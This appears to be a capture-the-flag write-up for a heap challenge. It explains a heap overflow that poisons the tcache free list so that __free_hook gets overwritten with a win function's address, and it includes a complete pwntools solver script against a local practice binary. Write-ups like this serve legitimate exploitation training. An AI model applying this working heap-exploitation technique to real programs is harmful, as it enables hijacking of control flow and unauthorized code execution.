Plan
Overwrite under chunk’s fd
pointer by Heap Overflow, and then call win
function by tcache poisoning.
Preparation
Malloced and then, it connects area freed of B to tcache
.
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x000055dfd3002350(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Vulnerability
Vulnerability is Heap Overflow. You can write 0x80 byte to a chunk for 0x18.
Overwrite B’s fd
pointer
Now, there isn’t a freed chunk which connects to the next
because the freed chunk’s fd
is NULL
.
Here, overwrite the B’s fd
by using Heap Overflow of A and then,
tcache
think there will be a next the B.
The figure of gave A*24 + 0x31 + __freehook
to the area.
Overwrite the fd
with __free_hook
Overwrite the fd
with __free_hook
and then, tcache
is the following.
0x00007effac9cc8e8
is address of __free_hook
.
-=-=-=-=-= TCACHE -=-=-=-=-=
[ tcache (for 0x20) ]
||
\/
[ 0x0000557af97c3350(rw-) ]
||
\/
[ 0x00007effac9cc8e8(rw-) ]
||
\/
[ END OF TCACHE ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Overwrite the chunk size with 0x30
When a times of malloc is restricted, if it keep the chunk size is 0x20
,
the address of __free_hook
is NOT returned.
Therefore, change to 0x30
and then,
the __free_hook
is came to head of tcache
because freed chunk of B connects to tcache
for 0x30.
When B
and __free_hook
connects to tcache
for 0x20
tcache [0x20] -> B -> __free_hook
tcache [0x30] -> NULL
After changing the chunk size of B, and then malloced and freed.
tcache [0x20] -> __free_hook
tcache [0x30] -> B
Write the win
function to __free_hook
Address returned with B = malloc(0x18)
is __free_hook
.
__free_hook
is a hook1 called when execute free
function.
Therefore, write the address of win
function to __free_hook
and then free()
,
win
function will be called.
Please follow the my Twitter.
Solver
from pwn import *
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'
def write(data):
io.sendlineafter("> ", "1")
io.sendline(data)
def malloc(data):
io.sendlineafter("> ", "2")
io.sendline(data)
def free():
io.sendlineafter("> ", "3")
def describe_heap():
io.sendlineafter("> ", "4")
io = process("./chall")
#leak address
io.recvuntil("<__free_hook>: ")
addr_free_hook = int(io.recvline(), 16)
print("__free_hook address: " + hex(addr_free_hook))
io.recvuntil("<win>: ")
addr_win = int(io.recvline(), 16)
print("win address: " + hex(addr_win))
payload = b"A"*0x18
payload += p64(0x31)
payload += p64(addr_free_hook)
malloc("")
free()
write(payload)
malloc("")
free()
malloc(p64(addr_win))
free()
io.interactive()
imagine of hook is the place via once. ↩︎